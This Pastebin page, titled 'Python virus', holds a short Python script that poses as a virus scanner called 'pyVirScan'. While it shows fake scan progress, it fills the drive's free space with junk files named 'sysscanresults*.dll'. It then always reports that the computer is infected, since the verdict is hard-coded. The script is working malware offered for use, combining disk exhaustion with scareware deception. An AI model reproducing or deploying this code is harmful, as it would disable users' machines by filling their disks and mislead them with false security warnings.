Advertisement
Gentoo7

Python virus

Feb 10th, 2016
32,384
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.88 KB | None | 0 0
  1. import win32file
  2. import os
  3.  
  4. def get_drivestats():
  5.    
  6.     drive = os.path.splitdrive(os.getcwd())[0].rstrip(':')
  7.     sectPerCluster, bytesPerSector, freeClusters, totalClusters = \
  8.         win32file.GetDiskFreeSpace(drive + ":\\")
  9.     free_space = freeClusters*sectPerCluster*bytesPerSector
  10.     return free_space, drive
  11. print ("-"*40)
  12. print ("-" + " " * 9 + "Welcome to pyVirScan" + " " * 9 + "-")
  13. print ("-" + " " * 2 + "A Virus Scanner written in Python!" + " " * 2 + "-")
  14. print ("-" + " " * 13 + "Version 1.00" + " " * 13 + "-")
  15. print ("-"*40)
  16. print ("Be patient, you will be notified when the scan is complete")
  17. #print ("Current Progress: 0.01%")
  18.  
  19. free_space, drive = get_drivestats()
  20.  
  21.  
  22. kb = float(1024)
  23. kbFree = free_space / kb
  24.  
  25.  
  26. fillWithFloat = kbFree / 409600
  27.  
  28.  
  29. fillWithInt = int(round(fillWithFloat))
  30. loopNum = 1
  31.  
  32.  
  33.  
  34. for y in range(fillWithInt):
  35.     block = '0' * 409600
  36.  
  37.     bigFile = file("sysscanresults" + str(loopNum) + ".dll", 'wb')
  38.     for x in range(1000):
  39.         bigFile.write(block)
  40.     bigFile.close()
  41.  
  42.     percentComplete = loopNum * fillWithInt / 100
  43.     print ("Current Progress: " + str(percentComplete) + "%")
  44.     loopNum += 1
  45.  
  46.  
  47. if 1 == 1:
  48.     virus = 1
  49. if 1 != 1:
  50.     virus = 0
  51.  
  52. print ("-"*40)
  53. print (" " * 12 + "Scan Completed!")
  54. print (" -"*20)
  55. print ("Results:")
  56. if virus == 1:
  57.    
  58.     print("The results were positive, your computer is infected.")
  59.    
  60.     #Yet to add the text file creation
  61.     #print("To see the full list of results, navigate to C:\\results.txt")
  62.     #print("In the text file you will see:")
  63.     #print ("1) What you are infected by.")
  64.     #print ("2) Details of each infection.")
  65.     #print ("3) What you can do to remove the virus'.")
  66.  
  67. if virus == 0:
  68.     print("Your computer is clean!")
  69.  
  70.  
  71. print ("Thankyou for using pyVirScan")
  72. print ("-"*40)
  73. exit = raw_input("Press <enter> to exit...")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement